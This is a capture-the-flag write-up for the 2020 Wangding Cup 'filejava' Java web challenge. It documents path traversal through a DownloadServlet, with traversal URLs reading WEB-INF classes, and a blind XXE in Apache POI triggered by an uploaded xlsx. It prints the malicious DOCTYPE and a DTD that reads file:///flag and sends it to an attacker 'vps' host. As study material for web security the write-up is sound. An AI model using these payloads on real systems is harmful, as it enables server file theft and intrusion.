2020网鼎杯青龙组filejava
2022-04-03 21:23:00 # Java # CTF

2020网鼎杯青龙组filejava

打开题目,发现一个上传点UploadServlet,随意上传一个1.txt,返回了路径/DownloadServlet?filename=1c91fcc1-ea9e-4070-94e9-68d6064516bc_1.txt

image-20220403213056755

经过测试发现存在目录穿越,可以进行任意文件读取,并且在上传文件名为1.txt/../../../../../../的文件时,会报错并且返回web项目的绝对路径/usr/local/tomcat/webapps/ROOT/WEB-INF/

image-20220403213544841

image-20220403213754498

读取一下web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
</web-app>

根据配置内容看一下相关Class文件

/DownloadServlet?filename=../../../../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

然后用jd-gui反编译看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import cn.abc.servlet.DownloadServlet;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.URLEncoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class DownloadServlet extends HttpServlet {
private static final long serialVersionUID = 1L;

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doPost(request, response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String fileName = request.getParameter("filename");
fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8");
System.out.println("filename=" + fileName);
if (fileName != null && fileName.toLowerCase().contains("flag")) {
request.setAttribute("message", "禁止读取");
request.getRequestDispatcher("/message.jsp").forward((ServletRequest)request, (ServletResponse)response);
return;
}
String fileSaveRootPath = getServletContext().getRealPath("/WEB-INF/upload");
String path = findFileSavePathByFileName(fileName, fileSaveRootPath);
File file = new File(path + "/" + fileName);
if (!file.exists()) {
request.setAttribute("message", "您要下载的资源已被删除!");
request.getRequestDispatcher("/message.jsp").forward((ServletRequest)request, (ServletResponse)response);
return;
}
String realname = fileName.substring(fileName.indexOf("_") + 1);
response.setHeader("content-disposition", "attachment;filename=" + URLEncoder.encode(realname, "UTF-8"));
FileInputStream in = new FileInputStream(path + "/" + fileName);
ServletOutputStream out = response.getOutputStream();
byte[] buffer = new byte[1024];
int len = 0;
while ((len = in.read(buffer)) > 0)
out.write(buffer, 0, len);
in.close();
out.close();
}

public String findFileSavePathByFileName(String filename, String saveRootPath) {
int hashCode = filename.hashCode();
int dir1 = hashCode & 0xF;
int dir2 = (hashCode & 0xF0) >> 4;
String dir = saveRootPath + "/" + dir1 + "/" + dir2;
File file = new File(dir);
if (!file.exists())
file.mkdirs();
return dir;
}
}

这里其实就是一个文件下载的功能,过滤掉了flag,如果出现了flag,则会返回禁止读取。

image-20220403215337334

image-20220403215437601

接下来读取一下UploadServlet.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import cn.abc.servlet.UploadServlet;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.List;
import java.util.UUID;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileItemFactory;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.usermodel.WorkbookFactory;

public class UploadServlet extends HttpServlet {
private static final long serialVersionUID = 1L;

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doPost(request, response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String savePath = getServletContext().getRealPath("/WEB-INF/upload");
String tempPath = getServletContext().getRealPath("/WEB-INF/temp");
File tempFile = new File(tempPath);
if (!tempFile.exists())
tempFile.mkdir();
String message = "";
try {
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(102400);
factory.setRepository(tempFile);
ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);
upload.setHeaderEncoding("UTF-8");
upload.setFileSizeMax(1048576L);
upload.setSizeMax(10485760L);
if (!ServletFileUpload.isMultipartContent(request))
return;
List<FileItem> list = upload.parseRequest(request);
for (FileItem fileItem : list) {
if (fileItem.isFormField()) {
String name = fileItem.getFieldName();
String str = fileItem.getString("UTF-8");
continue;
}
String filename = fileItem.getName();
if (filename == null || filename.trim().equals(""))
continue;
String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
InputStream in = fileItem.getInputStream();
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
String saveFilename = makeFileName(filename);
request.setAttribute("saveFilename", saveFilename);
request.setAttribute("filename", filename);
String realSavePath = makePath(saveFilename, savePath);
FileOutputStream out = new FileOutputStream(realSavePath + "/" + saveFilename);
byte[] buffer = new byte[1024];
int len = 0;
while ((len = in.read(buffer)) > 0)
out.write(buffer, 0, len);
in.close();
out.close();
message = "文件上传成功!";
}
} catch (FileUploadException e) {
e.printStackTrace();
}
request.setAttribute("message", message);
request.getRequestDispatcher("/ListFileServlet").forward((ServletRequest)request, (ServletResponse)response);
}

private String makeFileName(String filename) {
return UUID.randomUUID().toString() + "_" + filename;
}

private String makePath(String filename, String savePath) {
int hashCode = filename.hashCode();
int dir1 = hashCode & 0xF;
int dir2 = (hashCode & 0xF0) >> 4;
String dir = savePath + "/" + dir1 + "/" + dir2;
File file = new File(dir);
if (!file.exists())
file.mkdirs();
return dir;
}
}

这里,检测上传的文件名,如果以excel-开头,并且以xlsx结尾的话,即可触发excel的CVE(Bind XXE)

image-20220403220336107

新建一个excel-le1a.xlsx,用7.zip打开文件,并将[Content_Types].xml的第一行内容添加为

1
<!DOCTYPE exp [<!ENTITY % remote SYSTEM 'http://vps/le1a.dtd'>%remote;]><exp/>

然后在vps上新建一个le1a.dtd

1
2
3
4
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://vps:port/?q=%file;'>">
%int;
%send;

接着监听自己的服务器的端口,然后上传excel文件

image-20220403223314073

拿到flag:

1
flag{4573811c-bde4-4a1e-8617-1e4e29aec4c9}